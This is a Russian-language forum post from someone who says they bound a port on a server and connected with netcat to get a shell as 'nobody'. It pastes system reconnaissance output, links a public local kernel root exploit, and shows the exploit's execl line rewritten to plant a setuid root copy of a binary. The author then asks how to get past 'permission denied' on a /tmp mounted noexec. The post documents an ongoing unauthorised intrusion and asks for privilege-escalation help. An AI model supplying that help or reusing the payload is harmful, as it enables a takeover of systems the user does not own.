Вообщем ситуация такая, есть некая система:
Код:
sh-3.00$ uname -a
Linux linuxcpXXXXXX.XX.net 2.6.9-89.33.1.ELhugemem #1 SMP Mon Nov 15 18:55:19 EST 2010 i686 i686 i386 GNU/Linux
sh-3.00$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
sh-3.00$ ls -la /boot
total 9388
drwxr-xr-x 3 root root 4096 Dec 13 2010 .
drwxr-xr-x 31 root root 4096 Jun 21 22:05 ..
-rw-r--r-- 1 root root 512 Jun 29 2009 boot.6800
-rw-r--r-- 1 root root 5824 Nov 15 2004 boot.b
-rw-r--r-- 1 root root 612 Nov 15 2004 chain.b
-rw-r--r-- 1 root root 51219 Nov 15 2010 config-2.6.9-89.33.1.ELhugemem
-rw-r--r-- 1 root root 51183 Apr 20 2009 config-2.6.9-89.ELhugemem
-rw-r--r-- 1 root root 51234 Apr 20 2009 config-2.6.9-89.ELsmp
drwxr-xr-x 2 root root 4096 Dec 13 2010 grub
-rw-r--r-- 1 root root 739274 Dec 13 2010 initrd-2.6.9-89.33.1.ELhugemem.img
-rw-r--r-- 1 root root 736665 Jun 29 2009 initrd-2.6.9-89.ELhugemem.img
-rw-r--r-- 1 root root 740492 Jun 29 2009 initrd-2.6.9-89.ELsmp.img
-rw------- 1 root root 96768 Dec 13 2010 map
-rw-r--r-- 1 root root 23108 Aug 3 2005 message
-rw-r--r-- 1 root root 21282 Aug 3 2005 message.ja
-rw-r--r-- 1 root root 640 Nov 15 2004 os2_d.b
-rw-r--r-- 1 root root 68442 Nov 15 2010 symvers-2.6.9-89.33.1.ELhugemem.gz
-rw-r--r-- 1 root root 68337 Apr 20 2009 symvers-2.6.9-89.ELhugemem.gz
-rw-r--r-- 1 root root 68382 Apr 20 2009 symvers-2.6.9-89.ELsmp.gz
-rw-r--r-- 1 root root 785852 Nov 15 2010 System.map-2.6.9-89.33.1.ELhugemem
-rw-r--r-- 1 root root 785288 Apr 20 2009 System.map-2.6.9-89.ELhugemem
-rw-r--r-- 1 root root 785489 Apr 20 2009 System.map-2.6.9-89.ELsmp
-rw-r--r-- 1 root root 1452843 Nov 15 2010 vmlinuz-2.6.9-89.33.1.ELhugemem
-rw-r--r-- 1 root root 1452279 Apr 20 2009 vmlinuz-2.6.9-89.ELhugemem
-rw-r--r-- 1 root root 1472335 Apr 20 2009 vmlinuz-2.6.9-89.ELsmp
sh-3.00$ ls -la --full-time /lib/lib*
lrwxrwxrwx 1 root root 11 2009-06-29 05:03:58.000000000 -0400 /lib/libacl.so -> libacl.so.1
lrwxrwxrwx 1 root root 15 2009-06-29 04:57:54.000000000 -0400 /lib/libacl.so.1 -> libacl.so.1.1.0
-rwxr-xr-x 1 root root 22164 2007-11-30 09:31:58.000000000 -0500 /lib/libacl.so.1.1.0
-rwxr-xr-x 1 root root 14980 2012-01-26 18:10:43.000000000 -0500 /lib/libanl-2.3.4.so
lrwxrwxrwx 1 root root 15 2012-02-14 05:35:05.000000000 -0500 /lib/libanl.so.1 -> libanl-2.3.4.so
lrwxrwxrwx 1 root root 18 2009-06-29 05:00:45.000000000 -0400 /lib/libasound.so.2 -> libasound.so.2.0.0
-rwxr-xr-x 1 root root 686604 2005-01-10 05:09:50.000000000 -0500 /lib/libasound.so.2.0.0
lrwxrwxrwx 1 root root 12 2009-06-29 05:03:58.000000000 -0400 /lib/libattr.so -> libattr.so.1
lrwxrwxrwx 1 root root 16 2009-06-29 04:57:53.000000000 -0400 /lib/libattr.so.1 -> libattr.so.1.1.0
-rwxr-xr-x 1 root root 30899 2007-01-24 08:13:32.000000000 -0500 /lib/libattr.so.1.1.0
lrwxrwxrwx 1 root root 17 2010-02-03 05:34:15.000000000 -0500 /lib/libaudit.so.0 -> libaudit.so.0.0.0
-rwxr-xr-x 1 root root 60140 2010-01-20 16:07:03.000000000 -0500 /lib/libaudit.so.0.0.0
lrwxrwxrwx 1 root root 15 2009-06-29 05:39:37.000000000 -0400 /lib/libblkid.so.1 -> libblkid.so.1.0
-rwxr-xr-x 1 root root 25196 2009-01-27 11:36:42.000000000 -0500 /lib/libblkid.so.1.0
-rwxr-xr-x 1 root root 8320 2012-01-26 18:10:43.000000000 -0500 /lib/libBrokenLocale-2.3.4.so
lrwxrwxrwx 1 root root 24 2012-02-14 05:35:05.000000000 -0500 /lib/libBrokenLocale.so.1 -> libBrokenLocale-2.3.4.so
-rwxr-xr-x 1 root root 1535392 2012-01-26 18:10:44.000000000 -0500 /lib/libc-2.3.4.so
lrwxrwxrwx 1 root root 11 2009-06-29 05:03:59.000000000 -0400 /lib/libcap.so -> libcap.so.1
lrwxrwxrwx 1 root root 14 2009-06-29 04:57:54.000000000 -0400 /lib/libcap.so.1 -> libcap.so.1.10
-rwxr-xr-x 1 root root 11788 2004-08-31 12:40:55.000000000 -0400 /lib/libcap.so.1.10
-rwxr-xr-x 1 root root 192392 2012-01-26 18:10:44.000000000 -0500 /lib/libcidn-2.3.4.so
lrwxrwxrwx 1 root root 16 2012-02-14 05:35:05.000000000 -0500 /lib/libcidn.so.1 -> libcidn-2.3.4.so
lrwxrwxrwx 1 root root 17 2009-06-29 05:39:37.000000000 -0400 /lib/libcom_err.so.2 -> libcom_err.so.2.1
-rwxr-xr-x 1 root root 7004 2009-01-27 11:36:42.000000000 -0500 /lib/libcom_err.so.2.1
-rwxr-xr-x 1 root root 41956 2012-01-26 18:10:44.000000000 -0500 /lib/libcrypt-2.3.4.so
lrwxrwxrwx 1 root root 19 2009-06-30 08:06:53.000000000 -0400 /lib/libcrypto.so.0 -> libcrypto.so.0.9.6b
-rwxr-xr-x 1 root root 824272 2010-03-19 06:33:54.000000000 -0400 /lib/libcrypto.so.0.9.6b
-rwxr-xr-x 1 root root 945152 2012-01-27 18:27:42.000000000 -0500 /lib/libcrypto.so.0.9.7a
lrwxrwxrwx 1 root root 19 2009-06-29 05:06:01.000000000 -0400 /lib/libcrypto.so.2 -> libcrypto.so.0.9.6b
lrwxrwxrwx 1 root root 19 2009-06-29 04:58:26.000000000 -0400 /lib/libcrypto.so.4 -> libcrypto.so.0.9.7a
lrwxrwxrwx 1 root root 17 2012-02-14 05:35:05.000000000 -0500 /lib/libcrypt.so.1 -> libcrypt-2.3.4.so
lrwxrwxrwx 1 root root 13 2012-02-14 05:35:05.000000000 -0500 /lib/libc.so.6 -> libc-2.3.4.so
-rwxr-xr-x 1 root root 251476 2004-11-30 12:40:09.000000000 -0500 /lib/libdb2.so.3
-rwxr-xr-x 1 root root 614112 2004-11-30 12:40:09.000000000 -0500 /lib/libdb-3.3.so
-rwxr-xr-x 1 root root 762496 2004-11-30 12:40:09.000000000 -0500 /lib/libdb-4.1.so
-rwxr-xr-x 1 root root 843984 2007-06-06 08:37:18.000000000 -0400 /lib/libdb-4.2.so
lrwxrwxrwx 1 root root 11 2009-06-29 05:03:48.000000000 -0400 /lib/libdb.so.3 -> libdb2.so.3
lrwxrwxrwx 1 root root 19 2011-07-13 05:35:53.000000000 -0400 /lib/libdevmapper.a -> libdevmapper.a.1.02
-r-xr-xr-x 1 root root 314298 2010-03-04 15:49:06.000000000 -0500 /lib/libdevmapper.a.1.02
lrwxrwxrwx 1 root root 25 2011-07-13 05:35:53.000000000 -0400 /lib/libdevmapper-event.a -> libdevmapper-event.a.1.02
-r-xr-xr-x 1 root root 33684 2010-03-04 15:49:06.000000000 -0500 /lib/libdevmapper-event.a.1.02
lrwxrwxrwx 1 root root 37 2011-08-19 05:34:10.000000000 -0400 /lib/libdevmapper-event-lvm2mirror.so -> libdevmapper-event-lvm2mirror.so.2.02
-r-xr-xr-x 1 root root 7596 2011-08-03 13:00:49.000000000 -0400 /lib/libdevmapper-event-lvm2mirror.so.2.02
lrwxrwxrwx 1 root root 39 2011-08-19 05:34:10.000000000 -0400 /lib/libdevmapper-event-lvm2snapshot.so -> libdevmapper-event-lvm2snapshot.so.2.02
-r-xr-xr-x 1 root root 6016 2011-08-03 13:00:48.000000000 -0400 /lib/libdevmapper-event-lvm2snapshot.so.2.02
lrwxrwxrwx 1 root root 26 2011-07-13 05:35:53.000000000 -0400 /lib/libdevmapper-event.so -> libdevmapper-event.so.1.02
-r-xr-xr-x 1 root root 14852 2010-03-04 15:49:06.000000000 -0500 /lib/libdevmapper-event.so.1.02
lrwxrwxrwx 1 root root 20 2011-07-13 05:35:53.000000000 -0400 /lib/libdevmapper.so -> libdevmapper.so.1.02
-r-xr-xr-x 1 root root 24140 2010-03-04 15:49:06.000000000 -0500 /lib/libdevmapper.so.1.00
-r-xr-xr-x 1 root root 25196 2010-03-04 15:49:06.000000000 -0500 /lib/libdevmapper.so.1.01
-r-xr-xr-x 1 root root 84280 2010-03-04 15:49:06.000000000 -0500 /lib/libdevmapper.so.1.02
-rwxr-xr-x 1 root root 16748 2012-01-26 18:10:44.000000000 -0500 /lib/libdl-2.3.4.so
lrwxrwxrwx 1 root root 14 2012-02-14 05:35:05.000000000 -0500 /lib/libdl.so.2 -> libdl-2.3.4.so
lrwxrwxrwx 1 root root 13 2009-06-29 05:39:37.000000000 -0400 /lib/libe2p.so.2 -> libe2p.so.2.3
-rwxr-xr-x 1 root root 19824 2009-01-27 11:36:42.000000000 -0500 /lib/libe2p.so.2.3
lrwxrwxrwx 1 root root 16 2009-06-29 05:39:37.000000000 -0400 /lib/libext2fs.so.2 -> libext2fs.so.2.4
-rwxr-xr-x 1 root root 92532 2009-01-27 11:36:42.000000000 -0500 /lib/libext2fs.so.2.4
-rwxr-xr-x 1 root root 40108 2009-12-10 07:28:13.000000000 -0500 /lib/libgcc_s-3.4.6-20060404.so.1
lrwxrwxrwx 1 root root 28 2010-01-14 05:35:14.000000000 -0500 /lib/libgcc_s.so.1 -> libgcc_s-3.4.6-20060404.so.1
-rwxr-xr-x 1 root root 23416 2006-05-04 14:57:03.000000000 -0400 /lib/libiw.so.27
-rwxr-xr-x 1 root root 25880 2006-05-04 14:57:03.000000000 -0400 /lib/libiw.so.28
-rwxr-xr-x 1 root root 6952 2005-12-05 10:43:35.000000000 -0500 /lib/libkeyutils-1.0.2.so
lrwxrwxrwx 1 root root 20 2009-06-29 04:57:53.000000000 -0400 /lib/libkeyutils.so.1 -> libkeyutils-1.0.2.so
-rwxr-xr-x 1 root root 33040 2004-11-30 12:40:09.000000000 -0500 /lib/liblohedr.a
-rwxr-xr-x 1 root root 212164 2012-01-26 18:10:44.000000000 -0500 /lib/libm-2.3.4.so
lrwxrwxrwx 1 root root 13 2012-02-14 05:35:06.000000000 -0500 /lib/libm.so.6 -> libm-2.3.4.so
-rwxr-xr-x 1 root root 8476 2012-01-26 18:10:43.000000000 -0500 /lib/libNoVersion-2.3.4.so
lrwxrwxrwx 1 root root 21 2012-02-14 05:35:05.000000000 -0500 /lib/libNoVersion.so.1 -> libNoVersion-2.3.4.so
-rwxr-xr-x 1 root root 101748 2012-01-26 18:10:44.000000000 -0500 /lib/libnsl-2.3.4.so
lrwxrwxrwx 1 root root 15 2012-02-14 05:35:06.000000000 -0500 /lib/libnsl.so.1 -> libnsl-2.3.4.so
-rwxr-xr-x 1 root root 35788 2012-01-26 18:10:44.000000000 -0500 /lib/libnss1_compat-2.3.4.so
lrwxrwxrwx 1 root root 23 2012-02-14 05:35:06.000000000 -0500 /lib/libnss1_compat.so.1 -> libnss1_compat-2.3.4.so
-rwxr-xr-x 1 root root 17960 2012-01-26 18:10:44.000000000 -0500 /lib/libnss1_dns-2.3.4.so
lrwxrwxrwx 1 root root 20 2012-02-14 05:35:06.000000000 -0500 /lib/libnss1_dns.so.1 -> libnss1_dns-2.3.4.so
-rwxr-xr-x 1 root root 42616 2012-01-26 18:10:44.000000000 -0500 /lib/libnss1_files-2.3.4.so
lrwxrwxrwx 1 root root 22 2012-02-14 05:35:06.000000000 -0500 /lib/libnss1_files.so.1 -> libnss1_files-2.3.4.so
-rwxr-xr-x 1 root root 39228 2012-01-26 18:10:44.000000000 -0500 /lib/libnss1_nis-2.3.4.so
lrwxrwxrwx 1 root root 20 2012-02-14 05:35:06.000000000 -0500 /lib/libnss1_nis.so.1 -> libnss1_nis-2.3.4.so
-rwxr-xr-x 1 root root 40812 2012-01-26 18:10:44.000000000 -0500 /lib/libnss_compat-2.3.4.so
lrwxrwxrwx 1 root root 19 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_compat.so.1 -> libnss1_compat.so.1
lrwxrwxrwx 1 root root 22 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_compat.so.2 -> libnss_compat-2.3.4.so
lrwxrwxrwx 1 root root 18 2009-06-29 04:59:47.000000000 -0400 /lib/libnss_db.so.2 -> libnss_db.so.2.0.0
-rwxr-xr-x 1 root root 548068 2004-10-20 16:11:53.000000000 -0400 /lib/libnss_db.so.2.0.0
-rwxr-xr-x 1 root root 22616 2012-01-26 18:10:44.000000000 -0500 /lib/libnss_dns-2.3.4.so
lrwxrwxrwx 1 root root 16 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_dns.so.1 -> libnss1_dns.so.1
lrwxrwxrwx 1 root root 19 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_dns.so.2 -> libnss_dns-2.3.4.so
-rwxr-xr-x 1 root root 47420 2012-01-26 18:10:44.000000000 -0500 /lib/libnss_files-2.3.4.so
lrwxrwxrwx 1 root root 18 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_files.so.1 -> libnss1_files.so.1
lrwxrwxrwx 1 root root 21 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_files.so.2 -> libnss_files-2.3.4.so
-rwxr-xr-x 1 root root 23464 2012-01-26 18:10:44.000000000 -0500 /lib/libnss_hesiod-2.3.4.so
lrwxrwxrwx 1 root root 22 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_hesiod.so.2 -> libnss_hesiod-2.3.4.so
-rwxr-xr-x 1 root root 2309964 2010-11-10 14:41:57.000000000 -0500 /lib/libnss_ldap-2.3.4.so
lrwxrwxrwx 1 root root 20 2009-06-29 05:00:23.000000000 -0400 /lib/libnss_ldap.so.2 -> libnss_ldap-2.3.4.so
-rwxr-xr-x 1 root root 43036 2012-01-26 18:10:44.000000000 -0500 /lib/libnss_nis-2.3.4.so
-rwxr-xr-x 1 root root 56320 2012-01-26 18:10:44.000000000 -0500 /lib/libnss_nisplus-2.3.4.so
lrwxrwxrwx 1 root root 23 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_nisplus.so.2 -> libnss_nisplus-2.3.4.so
lrwxrwxrwx 1 root root 16 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_nis.so.1 -> libnss1_nis.so.1
lrwxrwxrwx 1 root root 19 2012-02-14 05:35:06.000000000 -0500 /lib/libnss_nis.so.2 -> libnss_nis-2.3.4.so
-rwxr-xr-x 1 root root 16076 2012-02-22 07:19:42.000000000 -0500 /lib/libnss_winbind.so.2
-rwxr-xr-x 1 root root 845988 2012-02-22 07:19:42.000000000 -0500 /lib/libnss_wins.so.2
lrwxrwxrwx 1 root root 15 2009-06-29 04:58:40.000000000 -0400 /lib/libpamc.so.0 -> libpamc.so.0.77
-rwxr-xr-x 1 root root 9108 2010-05-26 14:41:01.000000000 -0400 /lib/libpamc.so.0.77
lrwxrwxrwx 1 root root 19 2009-06-29 04:58:40.000000000 -0400 /lib/libpam_misc.so.0 -> libpam_misc.so.0.77
-rwxr-xr-x 1 root root 9524 2010-05-26 14:41:01.000000000 -0400 /lib/libpam_misc.so.0.77
lrwxrwxrwx 1 root root 14 2009-06-29 04:58:40.000000000 -0400 /lib/libpam.so.0 -> libpam.so.0.77
-rwxr-xr-x 1 root root 32184 2010-05-26 14:41:01.000000000 -0400 /lib/libpam.so.0.77
lrwxrwxrwx 1 root root 16 2009-06-29 04:58:04.000000000 -0400 /lib/libpcre.so.0 -> libpcre.so.0.0.1
-rwxr-xr-x 1 root root 65560 2007-11-28 09:26:55.000000000 -0500 /lib/libpcre.so.0.0.1
-rwxr-xr-x 1 root root 47892 2010-08-17 09:16:59.000000000 -0400 /lib/libproc-3.2.3.so
-rwxr-xr-x 1 root root 95380 2012-01-26 18:10:44.000000000 -0500 /lib/libpthread-0.10.so
lrwxrwxrwx 1 root root 18 2012-02-14 05:35:06.000000000 -0500 /lib/libpthread.so.0 -> libpthread-0.10.so
-rwxr-xr-x 1 root root 81140 2012-01-26 18:10:44.000000000 -0500 /lib/libresolv-2.3.4.so
lrwxrwxrwx 1 root root 18 2012-02-14 05:35:06.000000000 -0500 /lib/libresolv.so.2 -> libresolv-2.3.4.so
-rwxr-xr-x 1 root root 47692 2012-01-26 18:10:44.000000000 -0500 /lib/librt-2.3.4.so
lrwxrwxrwx 1 root root 14 2012-02-14 05:35:06.000000000 -0500 /lib/librt.so.1 -> librt-2.3.4.so
-rwxr-xr-x 1 root root 33040 2006-05-04 14:57:03.000000000 -0400 /lib/libsecdev.a
-rwxr-xr-x 1 root root 17400 2012-01-26 18:10:43.000000000 -0500 /lib/libSegFault.so
-rwxr-xr-x 1 root root 56336 2007-07-30 13:52:40.000000000 -0400 /lib/libselinux.so.1
-rwxr-xr-x 1 root root 53736 2004-08-30 11:50:13.000000000 -0400 /lib/libsepol.so.1
lrwxrwxrwx 1 root root 16 2009-06-30 08:06:53.000000000 -0400 /lib/libssl.so.0 -> libssl.so.0.9.6b
-rwxr-xr-x 1 root root 186304 2010-03-19 06:33:54.000000000 -0400 /lib/libssl.so.0.9.6b
-rwxr-xr-x 1 root root 217864 2012-01-27 18:27:42.000000000 -0500 /lib/libssl.so.0.9.7a
lrwxrwxrwx 1 root root 16 2009-06-29 05:06:01.000000000 -0400 /lib/libssl.so.2 -> libssl.so.0.9.6b
lrwxrwxrwx 1 root root 16 2009-06-29 04:58:26.000000000 -0400 /lib/libssl.so.4 -> libssl.so.0.9.7a
lrwxrwxrwx 1 root root 12 2009-06-29 05:39:37.000000000 -0400 /lib/libss.so.2 -> libss.so.2.0
-rwxr-xr-x 1 root root 18468 2009-01-27 11:36:42.000000000 -0500 /lib/libss.so.2.0
lrwxrwxrwx 1 root root 19 2009-06-29 04:57:57.000000000 -0400 /lib/libtermcap.so.2 -> libtermcap.so.2.0.8
-rwxr-xr-x 1 root root 12592 2004-06-15 20:34:46.000000000 -0400 /lib/libtermcap.so.2.0.8
-rwxr-xr-x 1 root root 25744 2012-01-26 18:10:44.000000000 -0500 /lib/libthread_db-1.0.so
lrwxrwxrwx 1 root root 19 2012-02-14 05:35:06.000000000 -0500 /lib/libthread_db.so.1 -> libthread_db-1.0.so
-rwxr-xr-x 1 root root 15860 2012-01-26 18:10:44.000000000 -0500 /lib/libutil-2.3.4.so
lrwxrwxrwx 1 root root 16 2012-02-14 05:35:06.000000000 -0500 /lib/libutil.so.1 -> libutil-2.3.4.so
lrwxrwxrwx 1 root root 14 2009-06-29 05:39:37.000000000 -0400 /lib/libuuid.so.1 -> libuuid.so.1.2
-rwxr-xr-x 1 root root 11296 2009-01-27 11:36:42.000000000 -0500 /lib/libuuid.so.1.2
-rw-r--r-- 1 root root 49558 2009-04-21 07:26:29.000000000 -0400 /lib/libwrap.a
lrwxrwxrwx 1 root root 16 2009-06-29 05:40:01.000000000 -0400 /lib/libwrap.so -> libwrap.so.0.7.6
lrwxrwxrwx 1 root root 16 2009-06-29 05:40:01.000000000 -0400 /lib/libwrap.so.0 -> libwrap.so.0.7.6
-rwxr-xr-x 1 root root 28504 2009-04-21 07:26:29.000000000 -0400 /lib/libwrap.so.0.7.6
sh-3.00$ mount
/dev/cciss/c0d0p1 on / type ext3 (rw,usrquota)
none on /proc type proc (rw)
none on /sys type sysfs (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
usbfs on /proc/bus/usb type usbfs (rw)
none on /dev/shm type tmpfs (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
/usr/tmpDSK on /tmp type ext3 (rw,noexec,nosuid,loop=/dev/loop0)
/tmp on /var/tmp type none (rw,noexec,nosuid,bind)
sh-3.00$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/cciss/c0d0p1 130G 111G 12G 91% /
none 4.0G 0 4.0G 0% /dev/shm
/usr/tmpDSK 485M 15M 446M 4% /tmp
/tmp 485M 15M 446M 4% /var/tmp
sh-3.00$ cat /etc/issue
Red Hat Enterprise Linux ES release 4 (Nahant Update 9)
Kernel \r on an \m
sh-3.00$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
# ntp client moved to cron.daily
sh-3.00$ cat /proc/version
Linux version 2.6.9-89.33.1.ELhugemem (mockbuild@x86-007.build.bos.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-11)) #1 SMP Mon Nov 15 18:55:19 EST 2010
sh-3.00$ cat /proc/sys/vm/mmap_min_addr
0
sh-3.00$ pwd
/tmp
sh-3.00$ ls -la /usr/bin/staprun
---s--x--- 1 root stapusr 56408 Jun 10 2011 /usr/bin/staprun
под неё нашёл такой вот сплоит, по моему мнению он должен сработать, или я ошибаюсь?
http://1337day.com/exploit/17189
* Linux 2.6.18-128.el5
* Linux 2.6.9-89.EL
* Ubuntu 8.10 Linux 2.6.27
*
* For i386 & ppc compile with the command;
* gcc -w -o exploit exploit.c
*
* For x86_64 kernel and ppc64 Compile as;
* gcc -w -m64 -o exploit exploit.c
забиндил порт на системе получил коммандную строку
приконнектился через неткат
залил сплоит как make.sh
запускаем ./make.sh
permission denied
пробую из темпа
./make.sh
permission denied
дальше меняю
Код:
execl("/bin/sh", "sh", NULL);
на это
Код:
execl("/bin/sh","/bin/sh", "-c", "cp ./suidnik ./s; chown root ./s; chgrp root ./s; chmod 777 ./s; chmod +s ./s;", NULL);
пробовал скомпилить как в инструкции к сплоиту
gcc -w -o exploit exploit.c
после компиляции пробую запустить сплоит опять пермишн денайд ((((
пробую так gcc make.sh
дальше ./a.out
опять пермишн денайд ((((
подскажите плиз что не так делаю? и как обойти permission denied?
всё компилилось без ошибок всё ок... спасибо огромное за помощь и потраченное время...
сильно не бить если нельзя запускать через sh сплоит, а надо обязательно компилить, честно презнаюсь первый раз с этим сталкиваюсь и возникает такая необходимость...